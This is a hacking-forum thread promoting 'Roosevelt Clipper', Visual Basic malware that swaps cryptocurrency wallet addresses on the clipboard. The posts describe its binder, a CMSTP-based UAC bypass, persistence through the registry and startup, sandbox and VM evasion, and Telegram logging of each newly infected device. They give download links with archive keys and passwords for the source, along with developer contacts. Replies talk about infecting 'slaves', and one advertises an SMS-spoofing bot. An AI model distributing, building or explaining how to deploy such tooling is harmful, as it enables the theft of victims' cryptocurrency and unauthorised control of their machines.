#1 Roosevelt Clipper | Multi-Binder | UAC Bypass | Critical Hiding | Source code | VB

[126]

Update v2

I and my team agreed on adding a binder to the clipper, everyone gave the okay, the binder was successfully added
 
Basic Binder Functions:
Implementation paths
1) Temp
2) AppData
3) UserProfile
4) AllUserprofile
5) Public
6) ProgramData
7) LocalAppdata
8) WinDir
9) System32
10) Current 
11) Desktop
12) Startup 
13) ProgramFiles
You can also use custom injection to any folder using uac bypass functions.
Normal startup - true/false
Single startup - true/false
Critical hiding - true/false
Autorun from registry editor - true/false
Add your loopback to allowed threats - true/false
Autorun for your Task Manager bind file - true/false

Functions to stub your clipper: 
UAC bypass
Request to run the stub with administrator privileges 

Kill bots (malware listed by code, kills by pid or mutex) 
Skip virus environments VMware, Vbox, Hyper V, sandbox, etc.

Clipper:
Added a function for clipper to send logs to telegram about a new infected device 

The telegram logging code sets certain parameters for ServicePoingManager, the parameters are set to control the behavior of network requests
In the code you will see in clipper, this parameter will handle up to 100-continue headers

Next the code uses WebClient to make an HTTP request to an external server, the external request is (ip.com and telegram API), ip.com is needed for logging, it will show the IP of the infected device in the logs.

In the end the code uses Telegram BOT api to send logs



Fixed UAC bypass function

BinaryPath - string variable containing path to executable file
CMSTP.exe - Windows system file
The Code method is a method that returns a string representing the instructions for the INF configuration file. This file is used to set certain parameters on the system
SetInfFile(pp) is an external method or function that generates a string of settings for the INF file based on some input parameter pp of the CMSTP.exe bypass manipulator 
The code has strings such as flag 
The flag variable is set to True if the cmstp.exe file does not exist in the specified path (BinaryPath). This is checked with File.Exists(BinaryPath).
If flag and flag2 are both True, then False is returned
This means that if the cmstp.exe file does not exist, the program terminates execution and returns False. 
HM headers that return TRUE after running cmstp.exe with certain permissions, helps to bypass UAC.





Download link: https://mega.nz/file/lSlzHILB
Mega key: PfYgeGLzCXUFs46lTZ3Arc5kFxIWnN5y-oWjxRp_O2s
Password for 7z: RooseveltRow

[126]

This is a bump

[126]

This is a bump

[4.035]

why post in lounge lol

[126]

why post in lounge lol

the essence of this program in the beginning was the lounge theme.  
if you have the possibility to move the thread to -> source codes, do it.

[26]

Roosevelt Clipper is the most advanced project to intercept cryptocurrency transactions by replacing cryptocurrency address via clipboard with regex (regular wallet expression) comparison

Roosevelt Clipper has innovative binder functions to combine your files (all extensions)

Relatively some functions are taken from the project of my old work partner (Xcoder) - Xbinder v2 , so it is coded by me.

Functions of binder: 
Implementation paths
1) Temp
2) AppData
3) UserProfile
4) AllUserprofile
5) Public
6) ProgramData
7) LocalAppdata
8) WinDir
9) System32
10) Current 
11) Desktop
12) Startup 
13) ProgramFiles
You can also use custom injection into any folder using uac bypass functions.
 

Normal run - true/false
Once run - true/false
Critical hiding - enable/disable
Autorun from registry editor - enable/disable
Add your stub to allowed threats - enable/disable
Autorun for your task manager bind file - enable/disable

Functions for clipper stub: 
UAC Bypass
1) Request to start the stub with administrator rights 
2) Repeated request to start the stub with administrator rights (in case of clicking on "no", the request will return the window).
3) System call invoke kernel32.dll 
4) HTA loader 

Kill bots (malware from the list by code, kills by pid, or by mutex) 
Skip virutal environments VMware, Vbox, Hyper V, sandbox, etc

Cryptocurrency that can be intercepted by the Roosevelt Clipper:
Bitcoin Wallet
Ethereum Wallet
USDT TRC20 Wallet
Dogecoin Wallet
Litecoin Wallet
Dashcoin Wallet
Xmr Monero Wallet
TRX Tron Wallet
Polygon Wallet
Tezos Wallet
Algorand Wallet
Bloktopia Wallet
Tether USD Wallet
Zcash Wallet
Cardano Wallet
Ripple Wallet
 

Contacts of the development team 
https://t.me/IS00N
https://t.me/RooseveltRow
https://t.me/eby_usa
https://t.me/malware_guru
https://t.me/HiddenCobra666
https://t.me/bestweb3dev
https://t.me/lazarus_bear





GetSession.org Contact (I-S00N) - 053aa9dbb09e8f790946ec2f4fab5ac6bc422e235cac024d444ee3cd87cd82190e

My contact GetSession.org (Мужик из Лас-Вегаса) - 
05606b57562c2fe658710e669470eac28e7836c78f7899032219a9fdc636d1ed70

Mail (I-S00N) - [email protected] 
Second mail (only providers with .onion hosting are allowed to send messages) - is00n@gtfcy37qyzor7kb6blz2buwuu5u7qjkycasjdf3yaslibkbyhsxub4yd.onion


Download Link: https://mega.nz/file/8HlG1SYS
Key for mega: M0Hu6BFLUs6LiFb21ub5w6O-guj0dUo65YxuJCWpX50
Password for 7z archive - UnknownRooseveltClipperVariant

---

This is a bump

Thanks for the source, it'll be interesting to review.

SMSMime
Send SMS as anyone, to anyone

https://t.me/SMSMime_bot

 

BTC - LTC - ETH

 

Our Telegram Channel

[126]

All future updates will be on the new thread: https://cracked.io/Thread-Roosevelt-Clip...updates-VB

[270]

I like it but i dont understand why use clipper and not like rat with a clipper ? if clippers not fud anyways or any more persistence or less detectable

better use rat anyways if u gonna infect slave